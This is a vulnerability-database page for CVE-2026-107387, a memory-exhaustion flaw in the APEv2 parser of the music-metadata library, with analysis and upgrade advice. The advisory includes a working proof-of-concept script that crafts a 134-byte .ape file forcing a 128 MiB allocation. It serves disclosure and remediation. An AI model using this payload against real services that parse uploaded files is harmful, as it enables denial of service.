CVE-2026-107387: CWE-789: Memory Allocation with Excessive Size Value in Borewit music-metadata
Description
## Summary `music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser. The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer. This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories. ## Affected component - `lib/apev2/APEv2Token.ts` - `lib/apev2/APEv2Parser.ts` The untrusted size is read here: ```ts size: Token.UINT32_LE.get(buf, off) ``` It is later used directly for allocation when parsing binary tag items: ```ts const picData = new Uint8Array(tagItemHeader.size); await this.tokenizer.readBuffer(picData); ``` The allocation happens before the parser confirms that the declared size fits inside the remaining file data. ## Impact An application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion. The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact. The impact is limited to availability. No confidentiality or integrity impact has been demonstrated. ## Proof of Concept Run from the project checkout after compiling the source: ```bash npm install --ignore-scripts npm run compile-src:dev node --expose-gc poc-apev2-memory.mjs ``` `poc-apev2-memory.mjs`: ```js import { parseBuffer } from './lib/core.js'; const le16 = n => Uint8Array.from([n & 255, n >>> 8]); const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]); const cat = (...parts) => { const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0)); let off = 0; for (const p of parts) out.set(p, off), off += p.length; return out; }; const big = 0x08000000; // 128 MiB const desc = cat( Buffer.from('MAC '), le32(4000), le32(52), le32(24), le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16) ); const hdr = cat( le16(0), le16(0), le32(1), le32(1), le32(1), le16(16), le16(1), le32(44100) ); const key = Buffer.from('Cover Art (Front)\0', 'ascii'); const item = cat(le32(big), le32(2)); const tag = cat( Buffer.from('APETAGEX'), le32(2000), le32(32 + item.length + key.length + big), le32(1), le32(0), new Uint8Array(8) ); const payload = cat(desc, hdr, tag, item, key); if (global.gc) global.gc(); const before = process.memoryUsage(); try { await parseBuffer(payload, { mimeType: 'audio/ape' }); } catch (error) { console.log(error.constructor.name + ': ' + error.message); } const after = process.memoryUsage(); console.log('input bytes:', payload.byteLength); console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2)); ``` ## Observed result On `music-metadata` 11.15.0: ```text EndOfStreamError: End-Of-Stream input bytes: 134 arrayBuffers delta MB: 128.00 ``` The parser throws after reaching end-of-stream, but the large allocation has already happened. ## Expected result The parser should reject the malformed APEv2 tag before allocating memory for the declared item size. ## Suggested fix Validate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.
CVSS v3.1
Score 6.2medium
Affected software
Borewit
music-metadata
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in music-metadata affects the APEv2 parser, which reads a tag-item size from an attacker-controlled input and allocates a Uint8Array accordingly before validating the size against the remaining data. This flaw allows crafted APE files to trigger disproportionate memory allocations, including via cover-art items. Repeated or concurrent parsing of such files can exhaust process memory, resulting in denial of service. The vulnerability is identified as CWE-789 (Memory Allocation with Excessive Size Value) and has a CVSS 3.1 score of 6.2 (medium severity). It is fixed in version 11.16.0.
Potential Impact
The impact is limited to availability loss due to process memory exhaustion caused by excessive memory allocation. There is no confidentiality or integrity impact reported. No known exploits are currently in the wild.
Mitigation Recommendations
Upgrade to music-metadata version 11.16.0 or later, where this vulnerability is fixed. No other mitigation is required as the fix addresses the root cause.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-10-07T21:07:54.988Z
- Cvss Version
- 3.1
- State
- PUBLISHED
Threat ID: 6ac7feef2cdf04f656318bf9
Added to database: 10/08/2026, 20:37:03 UTC
Last enriched: 10/08/2026, 21:03:53 UTC
Last updated: 10/08/2026, 21:45:48 UTC
Views: 10
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.